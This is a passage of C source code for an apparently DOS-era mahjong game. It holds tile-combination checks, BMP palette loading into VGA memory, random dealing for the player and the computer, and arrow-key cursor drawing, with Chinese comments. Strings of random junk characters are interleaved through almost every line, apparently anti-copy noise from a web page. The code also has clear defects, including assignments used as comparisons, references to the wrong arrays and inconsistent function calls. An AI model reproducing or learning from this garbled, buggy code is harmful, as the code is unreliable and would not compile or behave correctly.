{test[j]=pt[i+j];
, R+ X! a* D- V2 ^}
" f' }! O* z) [0 k. eif(istwo(test))
0 u/ f8 y3 h+ \# {4 T4 t: m3 A" y{ ill=0;& F) E* c# g( F' j
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
$ h" A# ]( H8 i. r" t) A5 N{if(kl==i), O0 \* ?; X  Q; G; _  ^
{; {+ z. {+ a5 M$ @
kl=kl+2;. R1 R. j. }* C* U- J
if(kl==8)
" w: e% {- M. D" R  ubreak;4 C) Z$ J9 x/ O( r- d) w
}& y+ ~3 x6 S3 r& O
test[ill++]=pt[kl];) u2 a. |+ p6 O2 P5 I
}
) q- p  O7 N8 k4 e6 y2 B/ A* i4 ~isthree(test,tt-2);
, e" ~6 ]$ O) t/ A# o6 G( ?4 }}! {$ q3 w- ~+ F0 c0 M* ?% c( h
}
8 c" a2 O% }! g* G1 Celse if(tt==9)
  B1 E) u: W* X- sisthree(pt,tt);
, v. o2 {# Q9 d& }( i" b; C* D, }$ _else if(tt==11)
) V/ M0 n3 F" D; [1 `9 P, Z) afor(i=0;i&lt;10;i++)
6 _$ ]8 z2 d/ h. P" F3 @{
% K0 o0 L* v# X' T5 Y8 M+ W3 efor(j=0;j&lt;2;j++)) v2 c! n, s/ R+ a3 P
{test[j]=pt[i+j];
. p& o+ e% [: k% j: ]}; i) v5 J* b  X1 m, c
if(istwo(test))
* ]4 ]/ s' p' c3 X/ |" p" x' j( g{ ill=0;
, y+ s. a- X  R, q6 j: ?for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
2 ^$ O; P  C5 v/ f{if(kl==i)
: g4 l/ J# R# k& Q{1 b4 e1 i: R3 b  ~3 T8 F
kl=kl+2;7 D" a5 `. S0 Y  o- L( K# K
if(kl==11)/ G: D$ E; U! u1 Y$ l; V+ V! P
break;+ `3 N  l) V% r; \. W
}
! k$ @( p1 z, ~# e+ t: Itest[ill++]=pt[kl];
/ P$ N' |9 b5 ?}+ f+ \; ?# ^4 F' d" z% ^! C, [
isthree(test,tt-2);
0 P" E: e$ l2 t' \' a. i1 i8 ?6 i% O}
" w. f( _: Z& }* `2 k* V; ^+ K0 ~}. C( |* h: N0 R2 |- b
else if(tt=12), u0 O+ l/ W$ w. U! L( C
isthree(pt,tt);3 @- G( d5 h( J- W( @
else if(tt=14)# ^% t, N4 J2 R, h9 Z
for(i=0;i&lt;13;i++)( {4 z4 U: i5 W/ g
{3 w: |" s5 l& s* ^9 G* P& ?
for(j=0;j&lt;2;j++)
* f5 b: \0 M) L9 I1 H{test[j]=pt[i+j]; 9 B8 m' @/ N' V! `: `  `# E: X6 `
}% [7 V0 g+ y& w+ Y/ B
if(istwo(test))
( h  h# B9 {2 I. K/ [8 P{ ill=0;! F4 |; I" L  m* _$ E2 M
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/3 I8 d5 U- W& o. y6 d
{if(kl==i)
. q3 M, c: n2 Z) @4 I{2 a. l$ E- C2 M6 m1 H0 \  ~
kl=kl+2;
' h# `6 N5 M+ }; K3 Sif(kl==14)
3 W! v% h7 ?1 m4 `" w* W/ e: ebreak;% J( p: w( |+ p* N4 l8 w/ O$ y
}' g" T7 q! d0 L
test[ill++]=pt[kl];
/ }6 @; o, n8 Q}
& h% x. E; ^, H; Visthree(test,tt-2);
- u7 f# ^6 Y' i/ P* u+ d% Q}
9 x: F2 p  F, h- ]}
; t/ Y. i2 Y9 s# g% nif(ii==2)
  U+ \; ?9 Z9 x3 u7 ^istwo(pi);
$ U2 y/ M) G8 @( H) U8 i3 H7 Eelse if(ii==3)
3 ^* \+ Y4 K( p0 z4 Cisthree(pi,ii);
/ Z7 c- m3 o6 U3 helse if(ii==5)7 R5 g3 D/ G4 U$ [& r
/*pi[5]原始牌数组,假设已经升序排列*/- J1 P& ?7 |* p! Z0 {% Y+ V7 E
/*test[3]用来放置测试牌的数组*/) B$ C8 b0 b$ }% E$ ^
for(i=0;i&lt;4;i++)
3 Z2 i$ O8 d: X* L{9 F% E  }5 L4 o, S
for(j=0;j&lt;2;j++)
- U6 I$ T7 B$ q4 Q9 d: R5 o{test[j]=pi[i+j]; $ x1 V6 E' b# [& ^
}$ S5 t! h7 F5 [& [% H
if(istwo(test))
/ f8 S1 ]! I5 a; j; b! ^1 Y' \; f{ ill=0;; g: c% U" M3 u( [* G- Y& g, r
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*// r8 Y. n  c' s" ^+ [5 h! K
{if(kl==i)
, U  G+ k" d4 o, A; g1 ~{) L4 M8 c' G; D' J
kl=kl+2;
4 [) ~, n! }3 z3 Kif(kl==5)
4 [- V4 U( i$ d5 h1 }! Sbreak;
' E) g/ k  ?) A4 _8 O( u/ j}( |6 D) l6 k7 c! D
test[ill++]=pw[kl];
8 ~( D* h7 b' I  h7 [}
  [5 C2 `8 p( @/ x. F* {isthree(test);
% W, \# v' V: I. @2 ^; p; I5 U8 a}
) R+ H  O/ w$ z' D}" I. {1 o8 H/ x% S$ n" B
else if(ii==6)
! Q. R7 m/ d# Visthree(pi,ii); 9 z& U, B$ c7 q- f. E
else if(ii==8)
/ G# V* q: D* U  }( z, }4 D# x; yfor(i=0;i&lt;7;i++)* m, S( @! u8 j. Y7 F+ @
{
) g0 @' K& ?2 j* J$ d0 i3 Zfor(j=0;j&lt;2;j++)
) N- L7 w9 k7 P/ h* x{test[j]=pi[i+j];
7 k: b9 i" V0 }& b& o}
. y! ?: u, z* N* fif(istwo(test)). o4 s" k& z/ y8 s. M, p* m
{ ill=0;
, k3 _5 h- X9 Cfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
3 g; {3 f( d* Z* f( ~{if(kl==i)' t, z1 ~7 j/ z) F3 S; r' J
{. M/ Y+ U5 D; O
kl=kl+2;8 v6 M1 D) K( B$ K; U8 r* S5 N
if(kl==8)
: L: ^  y: C. ~, a) xbreak;
2 S) p. y1 V, m- I% S}
2 G* ?. r  x% q: ptest[ill++]=pi[kl];* y* T' r; n9 }7 l- [
}
9 H. k& `) i9 }isthree(test,ii-2);+ d" W' P7 g9 X; h
}
& @. X: A3 D7 ?2 o% y' U& l9 Q}
# R1 k/ e' B0 w. h! F, Xelse if(ii==9)
' y1 U& }8 k+ U- p7 r% K' Y. o& \* Yisthree(pi,ii);
3 Y. A7 s- ~; z: x) g# S# i% helse if(ii==11), C# s7 Q6 Q! f4 `. r
for(i=0;i&lt;10;i++)
; g2 A0 m# l6 G- N0 m" [( M{+ u' G5 O+ @  ^3 |) v7 T& m$ v
for(j=0;j&lt;2;j++)1 i, Z3 a! g( P* |! a
{test[j]=pi[i+j]; 2 h; E9 U! e8 Q, ^" j% m& I
}
* j/ r/ h: D( W( sif(istwo(test))! r2 f9 D7 g& x2 Q+ p, S  a* ^
{ ill=0;
# l0 Y: V$ @( S5 X) F* m: ~( |- `for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/0 K7 w! s. W! g5 F% D
{if(kl==i)
6 u, A  P! F, Q* }{
% B/ F1 W  c5 ?' [3 J, wkl=kl+2;7 ?$ m3 L# {2 u. g3 I% `# L+ m
if(kl==11)/ N4 g  I/ e8 j! W5 [1 M4 E
break;6 c$ V# `, t" T( e9 S
}
5 I: }  k3 v( b! g" Qtest[ill++]=pi[kl];$ |0 }" j2 S  W. i9 n1 F! W: O- Z
}+ Y  v; z$ z" d1 e
isthree(test,ii-2); / c5 [& b7 Z8 I7 ?' b& e* R
}' `7 J5 p, b7 l  P) E. U: n% {) H" ?% }
} 9 I, @2 b- z; h* l. h' r/ g
else if(ii=12): z% d8 h$ N- `  G; v: J9 a
isthree(pi,ii);, I' y4 T) O, U6 s+ J
else if(ii=14)
5 d: ~7 p5 d/ q# }for(i=0;i&lt;13;i++)( H6 Y/ G' [" u
{
6 A3 K" E: p4 C* H; l$ E$ G2 F9 ~for(j=0;j&lt;2;j++)
! ]6 w1 V" }3 ~* W' c1 d1 m" a{test[j]=pi[i+j]; " j3 z: B9 f/ p7 `& M
}( x' u- F0 [% L# {! z# N
if(istwo(test))6 h. b; K% k- `: g
{ ill=0;% A: J8 e4 j2 y* k  J
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/( |& W9 ^" @0 }0 X3 |
{if(kl==i)5 `2 P' z; {2 P7 @% a
{
; |# t) r8 T( C9 }0 kkl=kl+2;
6 q# ~9 D* ~$ A' n" W, x7 oif(kl==14)# C4 E0 Z: b, u  r& s- m2 e
break;
  u3 }3 G6 ?+ @; ^! `}
( p" W- X0 E# r7 h# M! ?' ptest[ill++]=pi[kl];
6 M8 Q8 X+ A/ w( x+ g}
& L2 N# S: z8 Z8 p0 m( ~% Bisthree(test,ii-2); & A; w' U) L4 Y  r  [: [8 K
}
0 b6 w3 {5 [; B* P" d+ P0 s5 G1 L} ; ?! S2 B- y9 r  ~
if(ff==2)
9 n7 D# f2 R4 }istwo(pf);
, |' Q% m& e' o; h) J5 aelse if(ff==3)7 D( j$ K' `$ T# p
isthree(pf,ff);
9 V1 G0 \9 N. S# W$ M2 celse if(ff==5)
! o" C# {+ B' e5 [  d1 ~/ k, P( I/*pf[5]原始牌数组,假设已经升序排列*/
- S) ~) W4 E6 T& N4 V% U- ]7 ~/*test[3]用来放置测试牌的数组*/
7 v% L) |, z7 M7 i* l( F. R. i9 p& r2 ?for(i=0;i&lt;4;i++)5 y( C$ w2 `- l1 Z0 n/ D  R
{# N! p( [2 F+ h# q3 y. k0 y
for(j=0;j&lt;2;j++)( Y% J5 g1 J9 P( s$ {4 S  o
{test[j]=pf[i+j]; % K. _" y1 J- ~! x) @- Y& A' K6 Q
}! u+ z  Q" J# J% @6 K
if(istwo(test))8 B+ ]* Z8 w) @; C
{ ill=0;
- r5 Q* M% ~4 M) o- mfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/# R" F# b4 Z$ Y0 _( @9 p
{if(kl==i)( _% }4 E  i. V% f7 K2 Z
{: Y; h8 K: k0 a/ l  _% |$ L4 a
kl=kl+2;
; ^, c0 |* B3 g. X' l# m9 i) X7 fif(kl==5)0 g; v# K2 u4 z( j
break;
; M+ r5 x2 s% S0 B  U}
% i" R! \7 K* N4 \: [; ttest[ill++]=pf[kl];5 m$ \: w- r' y7 h5 B, P
}
7 ~, E6 r: \5 z' U; S, `$ O7 Q1 listhree(test);2 g0 ]1 n& l. Y
}" |# T3 O1 b9 b$ L
}
+ }+ `3 f0 V- a1 ^% }7 f5 uelse if(ff==6)) K1 c3 X/ g# X# n; P% \
isthree(pf,ff);
5 ~5 `( a5 V4 ^, }( X# x' |# helse if(ff==8)) S6 W- a) o2 c+ [) N8 C' y0 Y
for(i=0;i&lt;7;i++)# w9 E2 i' x% \5 B
{" d4 U& o# F( i4 h7 I$ G7 l5 B
for(j=0;j&lt;2;j++)
, ]  ]! C, u& q* c1 [; e- W{test[j]=pf[i+j]; ; i7 M. q& i7 d- T9 W
}4 f$ @  B) h6 j7 A
if(istwo(test))' d5 Q7 _, b% W" e
{ ill=0;0 d$ E/ H7 {, r4 r4 C$ Y
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/  l  {2 Z7 J! {; A8 a' ^1 o
{if(kl==i)) F: `- D+ c/ X) ?0 e  ~$ i
{  \; h: t! m+ d9 A! }1 d- C
kl=kl+2;
, y. b, ~! y! M: W8 v  q* S: kif(kl==8)4 q' C# p5 G7 }* g
break;7 P+ ^: E: {; Q/ C) k8 g5 Y" W
}" n+ G' R& B2 g  E" F: B1 k! G; ~
test[ill++]=pf[kl];
$ B- f4 L$ t" ]+ ~% M% [}! H9 h; {; s: |, g; C6 d1 @' d. L
isthree(test,ff-2); 4 g5 j2 U8 |5 e! p+ h" ?
}
0 n$ s- u: ?% l: h5 J0 l* `! i9 i9 r} ( n! _, U0 i, y6 m! `5 E0 c
else if(ff==9)
- F3 b  i0 s; U' i/ J! p9 x: N! iisthree(pw,ww);/ j3 e: o9 n$ p4 G
else if(ff==11)
5 I, c: P/ {: w8 ofor(i=0;i&lt;10;i++)
, N8 B+ s" V8 O3 J9 P5 E{" A0 o" G, G; T' r" W
for(j=0;j&lt;2;j++)& _2 e( ^0 H0 T
{test[j]=pf[i+j]; ( t7 K% E$ J6 n- `+ j! H
}
/ N* }; x2 Y, H. m; B) F$ z+ |if(istwo(test))2 m) E6 q" O# |
{ ill=0;
+ O0 N8 r! G$ [* h# Afor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/0 t! R9 ^4 V) |6 [+ z
{if(kl==i)& u- o# o3 Y3 W
{
9 N2 ^. K" [9 @6 mkl=kl+2;( b3 w( a: s3 ?7 w
if(kl==11)
7 f% R+ F" e& }break;/ ?2 b- P* m" R; p" x
}
) ^! W$ G: b# z: W- F6 ltest[ill++]=pf[kl];
# T& f5 x+ h# V* u3 M+ Q9 M}
4 }' |2 s( g2 g) |isthree(test,ff-2);
! \, q. p0 r4 v" c}9 v' n" G; h" J: O7 j( X
}
. B6 G" y9 j+ Pelse if(ff=12), K, ~; m# |4 X5 K) Y# o. ?, E
isthree(pf,ff);$ c5 f4 ?. Z, N1 x2 d# i" M
else if(ff=14)9 j; N4 a0 A' J( k8 g# }& I
for(i=0;i&lt;13;i++)
- C/ S; d6 I$ |. w6 Y# v: y{+ S1 w. i  W2 `% x5 \
for(j=0;j&lt;2;j++)
6 r- |& u9 K% ?! t! h{test[j]=pf[i+j];
4 V: X' v9 ]/ H2 h  B9 u}
; _( X% f! f6 d% F$ q- nif(istwo(test))
, E: {/ D+ B3 o4 ^$ [9 O4 p{ ill=0;
7 d: n# N; }7 k0 k9 o4 i2 y/ Sfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/( T1 ^# n2 Y' K! h3 l
{if(kl==i)& P4 o. O0 ?; u5 {- P! J! l' c, q
{$ t9 V2 x1 d) o" D
kl=kl+2;
+ I+ x8 }+ k& ~! x4 o+ f& F' kif(kl==14)
, O  f- R# Y; z5 s$ l# ~/ {break;
- n5 Z' U- a' q7 |( n/ I) O4 o7 q}
5 F0 x0 |9 J6 a" E; M9 X9 Ltest[ill++]=pf[kl];
- p9 B+ J( u" h}: r  P, Z* ]& K/ `. u4 ~
isthree(test,ff-2);; r. F9 I( Y7 ~, x0 y. R9 _
}: K. f+ }8 \; p( F# {
}
  W* ?4 k' E, ^7 b}
2 V8 }' A  A* Hvoid main(void)
. a2 m- s+ Y7 v7 j5 g6 |$ G- u{
+ R9 T1 L* L0 y/ a& a- m; HFILE *bmp;
4 f3 v3 \. p7 F* Z( S% B3 cstatic char *name[2]={"ff.bmp","logo.bmp"};
7 s% V/ d& B- c- Hchar *p;
3 [" J! Z7 _# i5 h: aint *lingshi;
6 G. C# [2 I( g$ pint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
; [0 U4 n( t" C6 ]int every=0,w=0,x1,x2,y1,y2,every1=0;
  M( w; O& Q9 T1 B3 ~# Z) ?int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
& v% D* w# z- E: T0 X' hBYTE palette[256][3];/ T* y' n. q$ m) B9 \
SETVGA;
9 ?7 k% m6 r7 t+ Bgetch();
- {8 M4 X$ y- w- p0 Lwhile(t--)& s) _/ ^. w5 o$ U% U8 c  e$ l2 Q/ g
{
0 f5 a7 O: d& y9 u; H6 I* j' b% M! K8 @bmp=fopen(name[t],"rb");
2 s" M% o+ C- P* a0 r5 i3 Jfseek(bmp,54,SEEK_SET);
' k, r" `! K) ]9 u1 N: Dfor(i=0;i&lt;256;i++)
, _  S1 P. L: o% p' U0 T{
+ G. I0 z) C5 n2 ~palette[2]=fgetc(bmp)&gt;&gt;2;4 o$ e3 V% X, q% \
palette[1]=fgetc(bmp)&gt;&gt;2;
- X/ V" t6 |- l: Q+ d3 m% q7 x9 \# Tpalette[0]=fgetc(bmp)&gt;&gt;2;5 `4 Y8 m# d# q0 H* }4 G$ e
fgetc(bmp);/ e9 K: I, I/ W' T; X: m
Set_Palette(i,palette[0],palette[1],palette[2]);& g- h" b# b, W2 W& p! F/ ^
}1 t7 L6 O$ {* l9 g; u3 q$ \
for (y=0;y&lt;200;y++)/ \4 V' Z) r& s) B! W/ @0 `. O
for(x=0;x&lt;320;x++)
5 S/ ?1 p) b7 R! Vpokeb(0xa000,y*320+x,fgetc(bmp));
- \7 D" J% K  M; p; rfclose(bmp);  B( o* Y/ k8 i% v2 s
getch();
' V+ ~( N: X, G( ~# z" W6 S0 r}
, n3 i( d% h7 B! W; Dgetch();
: t0 ]7 ]  y0 [! }fillRectangle(0,0,320,200,0);% u3 n/ ^  s2 A7 l
getch();" ~' G# T4 q8 U* Y% G  P/ U
randomize();+ V$ N1 f1 u; F. I; \$ D
me.m=onetothirteen;6 n' V" q7 r1 @
while(me.m&gt;0) /*先循环,给自己拿牌*/# E1 R! d: n5 N9 ]
{
6 C0 S( B& b( v/ K! t0 t" d) A
temp=random(136);
; ]- Q+ x; z; C2 F! b5 a+ q2 }if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
# }/ H$ P6 h0 O) j3 N1 s{9 H# \! {) s& K( }5 q7 w
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
7 a8 j% A) g: t. S8 a% wme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/2 p/ F7 I0 g$ `! E; A3 E
me.pp[n].number=temp; /*第几张,用来排序*/
7 i3 x' V2 t1 [% B0 `& Lm[temp].data2=1; /*判断牌是谁的*/( x- T+ k: B+ q5 ?6 ^  ^" A* O
kk=1;% @+ r, x( f7 r: X
}; L) c0 N6 l+ b0 x( O7 f
if(kk==0) /*判断如果又选择了,就从新再选*/
1 I# K  L  U! ?3 k{ 1 W4 b; e" r% A+ J- T
me.m++;* o5 @$ Z+ l. v3 C
n--;
& Z: \5 q2 G. V, ]8 B/ _* r}
6 I/ h5 G$ t/ ^' [3 B6 ]; ome.m--;
% t  i) ?  ~& ]8 W& U+ L& t5 r0 g8 D3 wn++;
+ P5 p6 [( K4 m8 c- B% Z9 r% nkk=0;+ H7 u- O; K: L; Q6 J- ?
}1 d* X7 A3 ]" y) ^
me.m=12;, O7 h9 J4 U$ j! F% K: t( B$ `7 i
melipai(); /*理牌*/; b6 F0 k+ x& [/ a$ ~; a5 m

8 s( v5 E* m: fn=13;
) A; H- [7 S0 y7 Mwhile(l&lt;n)2 f) b: ?9 g+ l% {, R( X/ S
{6 z( }! R$ {1 \* _+ _
z=z+20;" H  {. C+ k4 h. f* n0 {7 S
showbmp(l);
0 u# u" X: }  ^& X! u0 ^* Ql++;
7 L, }7 m3 }& n4 S2 M" Y0 [: f7 R/ s9 C
}! b" a: Z! Z( K. u, `* l  Q
randomize();
" y" w' ~1 g: Dcomputer.m=oneorthirteen;; N) f  @) a0 c9 [# k# V
n=0;+ Q% R9 A  N3 p  |  p/ |
while(computer.m&gt;0) /*循环,给对方拿牌*/
7 c) d. E7 d/ E2 b/ K' S; S2 t{
5 Y+ Z' L8 ]6 v! h3 Btemp=random(136);0 y6 v5 b% A+ i# X2 N& g
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
  K$ m& G7 \( |! F6 }9 G% e{1 j" X5 y5 {- m, Z) }
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*// o% L6 w% _% N7 A8 {$ a
computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
/ N) }/ w9 P( Fcomputer.pp[n].number=temp; /*第几张,用来排序*/: Q# K; W7 h7 L* w, c' q: n
m[temp].data2=2; /*判断牌是谁的,2为电脑*/) Y" u7 s: V3 V, b, p
kk=1;! `: w. j, m8 M% y# O% @
}8 ?& r' O0 `0 _0 @/ K* Q
if(kk==0) /*判断如果又选择了,就从新再选*/
3 U9 \+ v7 }3 `; Y+ ^{
6 i3 c& e$ _+ a8 l0 \! y7 Ycomputer.m++;$ T$ n7 {+ G& N
n--;
) U3 t3 B. s' H: u( E8 _: t# u  J! i}5 n8 f$ x8 r  s% l1 ^8 [
computer.m--;
3 L: Y/ ~3 `7 {0 `0 f3 c7 fn++;
  `: m, b$ `6 Ckk=0;6 W. W/ l$ i3 C5 R
}; l) K) h5 ]+ O/ \: w+ [% Z" {
computer.m=12;
$ s' W2 A- v+ s0 [0 j2 l1 F& Rcomlipai(); /*电脑理牌*/
( }2 E( R' ~- Y0 Y1 hn=13;+ r* Y3 H4 ?3 T6 P1 F3 n
while(ll&lt;n)7 O3 O( A8 H1 V- d1 K, K
{
- a9 K: y* ~' V. {$ B4 ?zy=zy+20;: Y- n% L$ ?' L0 ~, n; P: k$ X9 {
showybmp(ll);9 x; f) J# m9 g# d9 z/ x
ll++;
. S+ l  W6 I& j: u1 X}/ r$ ^) Y. S" x' L; c# W* r: ?
+ T' ~1 c( A0 [+ l. ^9 K3 Q; L
z=54400;7 [5 c( }0 g- F$ y" m
while(key!=ESC)" z. S& o& C. a3 a. t6 D0 D( q6 W
{ 9 N/ J' s9 v7 s% {: Q1 w. E4 q
% h3 ]) x+ L9 G1 B: \) g
keyy=bioskey(0);, a  f! l. ]4 \9 N' K( m0 ^7 Z# N
if(keyy==LEFT)
! ?- {- E1 }7 [: L7 n+ a/ F{ w=1;/ t: {6 [: N/ D. q
if(every==0)' r; m$ R9 E; C* I, a; _
{
4 D: @. V1 k- N( D% }* q0 C2 \& Pevery=1;
3 I7 v& i, M' P0 Pz=54440-5*320;
2 f7 @6 q0 u" ?$ K: w  l; Q6 k' j2 R) i9 q( q4 L
}
3 R& G0 Y( z: hzz=zz+5*320;( l$ N& `2 w1 _; l
showbmp(every);
- e0 t- H- X9 Q% F% Aif(every==0)
* p+ W5 w6 B5 l# J1 V{
! u+ C! M; H" ux1=20;' X& [# h, Y/ W7 G7 K3 ^$ g
y1=165;
4 ~: W/ ^4 K9 E- l9 r. x: V0 gfillRectangle(x1,y1,x1+20,y1+4,0);
7 z5 u2 D) k1 y}
1 a/ b# j' b9 w3 G8 j) Uif(every==1)
3 n% `$ ~( q8 i{
* `! e4 k1 N, u5 {' h2 Px1=40;
$ V" M: N* ~) ]- ^# fy1=165;1 U! z7 Q4 q/ c+ n+ @4 n* U8 Z! o
fillRectangle(x1,y1,x1+20,y1+4,0);
' K# s. `9 Z3 @: [1 |+ u}  l8 |4 R: T" s5 R
if(every==2)
/ a/ r- ~/ w* K7 I" s5 B{
) R6 O- J6 {% Cx1=60;2 T6 O  e6 |8 h* K, M" ]
y1=165;7 {6 i  V5 \# O5 s# r5 s
fillRectangle(x1,y1,x1+20,y1+4,0);$ A" D. n" Y! q* I
}0 t, I& @. }# K: w4 |" E0 \* j3 c) X" x
if(every==3)
  S2 |* d( A8 W. @3 `8 J* S{
+ n- u2 ^: F' Z) V1 Q' Xx1=80;
5 q7 P* D' ]$ g- my1=165;
* I1 `- f1 A& Y8 Z: afillRectangle(x1,y1,x1+20,y1+4,0);$ C" C' |! h' }1 L1 _* u! C5 u
}" \1 r4 M( @8 I
if(every==4)
8 U3 ~4 E6 H& ~6 u% q- ~{
  o! n5 a$ F( s8 ^$ m5 ~) h* sx1=100;
1 z: d$ R/ S  ?/ d4 v/ oy1=165;
5 h7 H& y% J6 GfillRectangle(x1,y1,x1+20,y1+4,0);9 I# G! m( a7 ]# B' A* E
}
' Q' ?7 e( ~3 R9 r. k( x5 xif(every==5)
. {, Z1 I8 ]& \* ]/ a) q# B5 K{
3 A! h4 W( c) U1 c# m' a, P9 ?4 Gx1=120;
; `7 y. ?0 f& jy1=165;
. c+ ^7 ^  }6 X5 Y7 SfillRectangle(x1,y1,x1+20,y1+4,0);3 x3 e' w% W' s6 b5 f4 }' L
}
+ S: ]; u- Y# X7 ?$ p! _if(every==6)
; B5 u  ?+ o3 U) E{. P& h5 w! K: W9 Y% V+ C# P
x1=140;
/ t, R0 J' y9 [  G8 h& r3 j$ Q+ {y1=165;$ F( M6 w  I4 m. m8 J+ Q
fillRectangle(x1,y1,x1+20,y1+4,0);
- d2 ?+ |7 r% i" H}, k8 {: W* G! k  _1 R. w
if(every==7)
& J! ^: C/ w% G' z# C- d& U( l{
4 u' }  [5 h# f/ {9 w% Mx1=160;2 h4 B% c) [( ?! p$ H
y1=165;
4 E7 g# \, }2 f0 lfillRectangle(x1,y1,x1+20,y1+4,0);
- d. X" Z! e' b$ U}# |2 f/ N! r/ o) d" n, _6 F" o/ f* ]
if(every==8)  u& S- u7 Q! e% o9 w; g
{
/ D) Y+ }3 Y( G; l7 m& b' Y+ tx1=180;4 W1 D+ Z" I6 _9 d4 o
y1=165;
( p6 k; r' R7 h" ?: bfillRectangle(x1,y1,x1+20,y1+4,0);
- S3 ?! K% Z. m}+ O  ^6 I  a! _: j  _
if(every==9): R+ L6 U" |. m3 \
{
7 u; z! V. i- o$ j& v/ N* v2 R' Tx1=200;6 k  z, A! `$ o0 ~4 v8 h
y1=165;' u) I+ `1 @8 E# [0 A+ Y4 v2 \
fillRectangle(x1,y1,x1+20,y1+4,0);
% [. i3 w! T! G4 X}. _; T5 B6 k, m: }6 B& \" Y
if(every==10)( d- v+ n8 {. C1 |* z
{5 k. R9 U: a0 q: B; }  b  J
x1=220;  t5 k8 c  t" S" [
y1=165;
" G' \7 S0 C' F* |- m& G2 j" zfillRectangle(x1,y1,x1+20,y1+4,0);) [  E& W. D& u6 b4 C
}# J. U% ?1 k" T- E1 }
if(every==11): ?5 G! U3 s' T" [1 e  ~
{& ~3 O  @% ]' }. f1 g; [* B6 _- Q
x1=240;" Z$ A- J! `" @7 E1 M* y  r
y1=165;
# ?+ {8 Q4 i9 O2 Q- s' ^) `fillRectangle(x1,y1,x1+20,y1+4,0);
3 b5 a9 s7 @/ Q9 y}
( s# B' U/ m$ ^* R; u; F5 ^1 |( Dif(every==12)( C2 F, ?* t: K4 j/ s
{- f! l6 U" W& a3 A% A# p% n! M1 S( @
x1=260;8 E2 _/ g, x" z/ a" [4 F
y1=165;7 f" ^( a/ H7 z, F1 t6 L0 Y
fillRectangle(x1,y1,x1+20,y1+4,0);) y; }  k9 v% K* }; v/ a6 i
}
0 V0 Z3 B! ~2 I# F. u: a" ]7 C) jzz=0;- n  k9 k$ L( h7 D. Y+ Y
every--;
0 x5 ~) k4 r0 F# [# _" Rz=z-20;; _8 G, c. r! l* g6 \$ K7 J! p
}% L% q$ ]) @) ?% n7 z& p! o, O
if(keyy==RIGHT)
2 T- j  `, U. T6 P( u{ if(w==0)
) q! n4 n- C: v2 Y! |; X* [8 g{- G) t/ V; l0 s- \3 j+ i
z=54440-5*320;$ R+ z7 y3 m0 A
z=z-20;+ `$ \, N6 O) ]7 @* H7 b
w=1;
3 H  T0 X8 f" _; h) e; r! k3 q}
& ?# L  f8 _, p/ ^if(every==12)
8 x/ I% M  q; @& e. H. ~, [! j{/ L$ a2 P$ w1 d  J7 t4 q8 N
every=11;& r2 W3 x. F) V% h) {$ M
z=54640-5*320;
! J% ]% h4 y# g  N' v4 l}  n( E) q9 e: F' z  U6 y
zz=zz+5*320;% f9 T, y( U  {  B( f
showbmp(every);
9 F% w! q. H6 S- H! M6 ]' }. \, rif(every==0)
& h% T' a9 k3 O5 c, L  M{' L2 q5 e  S0 J
x1=20;
- W$ e" \! [5 Q9 iy1=165;
9 }: r. e$ ^6 C$ J" q9 f1 HfillRectangle(x1,y1,x1+20,y1+4,0);
. K+ r, S0 d2 x! O}+ h6 H* g% u0 l( ?, {9 e* C" y( g1 c
if(every==1)
/ e2 ~7 O7 W9 Y1 v! T" m4 v7 [{' {3 C0 n' k4 G
x1=40;
' @1 P+ ^8 U0 \& v0 @y1=165;. v. G8 P4 W4 l% u, d3 Q
fillRectangle(x1,y1,x1+20,y1+4,0);
1 d6 k  I* r- o8 [& C1 v1 ~; |}
1 W8 U& |/ H% l. yif(every==2)
, Q; x/ ~& ~" p" C{
7 M7 X4 J  ~  W5 s; s: O1 ex1=60;
1 f' Y( o, Y3 B- A: y2 xy1=165;; U3 H" W& p9 \4 H) V
fillRectangle(x1,y1,x1+20,y1+4,0);
4 f( Q  R% J1 _}: H, [( j6 I+ M/ B1 r5 o
if(every==3)6 P" I/ P# O0 J
{3 R* c5 x' b: I- V3 p6 s+ T- _
x1=80;0 |8 Q, M6 s$ T3 d, p. I
y1=165;
9 c' s/ w. P$ ?fillRectangle(x1,y1,x1+20,y1+4,0);6 v4 g" l# [' i5 S/ Y0 s
}8 f/ X; V3 X: O% U2 i
if(every==4)
- h; S! z; f2 E3 r{
. a' {  d  h! [. t8 [7 M1 M+ Hx1=100;( \% H; Z# x6 d! l/ r# }
y1=165;
) v& X# x; q4 A6 c3 i- MfillRectangle(x1,y1,x1+20,y1+4,0);6 i6 b; {' a4 l& r9 ]
}5 d# C$ m- r4 }
if(every==5)9 z1 F# V; I/ u8 P
{
9 R! j/ @6 O8 `7 s) ox1=120;; p3 g0 G; e- s! c- s
y1=165;
3 b# [9 H$ t: n. N' A/ n! u4 TfillRectangle(x1,y1,x1+20,y1+4,0);: N! ^/ h+ a! [% q% B
}; }. Z$ L4 P  d( r7 R. M1 r8 w
if(every==6)7 s, u  J% n" @  _& e/ b% Y
{% F! {3 c4 t/ \  D
x1=140;
2 ^" f/ c8 K% vy1=165;0 Y# U6 b- w4 ~+ o6 i; m- R/ {! u
fillRectangle(x1,y1,x1+20,y1+4,0);; x0 O( A; x( o& M( @8 B
}
4 s) R! e$ A( [+ g5 O. z" Vif(every==7); ?* L) o. K* R5 C) T% A
{
